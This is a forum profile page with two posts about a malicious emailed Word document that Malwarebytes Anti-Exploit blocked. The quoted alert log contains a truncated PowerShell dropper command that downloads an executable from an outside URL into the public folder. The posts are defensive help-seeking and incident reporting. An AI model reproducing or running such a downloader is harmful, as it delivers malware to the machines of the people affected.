sniderit
-
Posts
2 -
Joined
-
Last visited
Content Type
Events
Profiles
Forums
Posts posted by sniderit
-
-
When trying to open a file in Word that I downloaded via email, I get a pop-up saying that Malwarebytes Anti-Exploit has blocked an exploit attempt.
Application: cmd
Protection Layer: Application Behavior Protection
Protection Technique: Exploit payload process blocked
File/Process Blocked: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $FPF=new-object Net.WebClient$uIo='http:\potuansdqwbe.com\YUY\huonasdh.php?l=dg3.tkn'.Split('@')$tWW = '39'$rsf=$env:public+'\'+$tWW+'.exe'foreach($srf in $uIo){try{$FPF.DownloadFile($sr
Attacking URL: N/A
I've attached the logs from the PC. I'm not sure if this is an actual threat or Anti-Exploit flagging things as false-positives. Any help would be appreciated.
Malwarebytes Anti-Exploit is blocking Word documents from email
in Malwarebytes Anti-Exploit for Business
Posted
Yes, I ran pulled it onto a test computer with Sandboxie after I read your post and it looks like it is full of bad stuff. I've notified all users and advised them to contact their own network admins. Thanks for responding!